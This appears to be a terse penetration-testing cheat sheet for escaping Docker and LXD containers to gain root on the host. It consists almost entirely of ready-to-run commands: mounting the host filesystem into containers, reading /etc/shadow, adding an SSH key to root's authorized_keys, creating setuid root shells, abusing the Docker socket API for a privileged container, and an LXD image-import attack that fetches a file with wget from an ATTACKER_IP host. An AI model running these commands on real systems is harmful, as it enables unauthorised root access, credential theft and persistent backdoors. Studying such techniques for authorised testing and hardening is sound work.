Docker / LXD Escape

id
groups

docker run -v /:/mnt --rm -it alpine chroot /mnt bash

docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
docker run -v /:/mnt --rm -it debian chroot /mnt bash

docker images
docker run -v /:/mnt --rm -it <IMAGE_ID> chroot /mnt bash

docker run -v /etc/shadow:/tmp/shadow --rm alpine cat /tmp/shadow

docker run -v /root:/mnt --rm -it alpine sh -c 'mkdir -p /mnt/.ssh && echo "ssh-ed25519 AAAA..." >> /mnt/.ssh/authorized_keys'

docker run -v /:/mnt --rm -it alpine sh -c 'cp /mnt/bin/bash /mnt/tmp/rootbash && chmod +s /mnt/tmp/rootbash'

/tmp/rootbash -p

ls -la /var/run/docker.sock

curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/mnt"],"Privileged":true}}' \
  http://localhost/containers/create

cat /proc/1/cgroup | grep docker
ls /.dockerenv
hostname

# Check if privileged
cat /proc/1/status | grep Cap
# CapEff: 0000003fffffffff = privileged

fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host bash

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo bash build-alpine
# Creates: alpine-v3.x-x86_64-XXXXXXXX_XXXX.tar.gz

python3 -m http.server 80
# On target:
wget http://ATTACKER_IP/alpine-v3.x-x86_64.tar.gz

lxc image import alpine-v3.x-x86_64.tar.gz --alias myimage
lxc init myimage privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

cd /mnt/root
cat etc/shadow

cp /mnt/root/bin/bash /mnt/root/tmp/rootbash
chmod +s /mnt/root/tmp/rootbash

/tmp/rootbash -p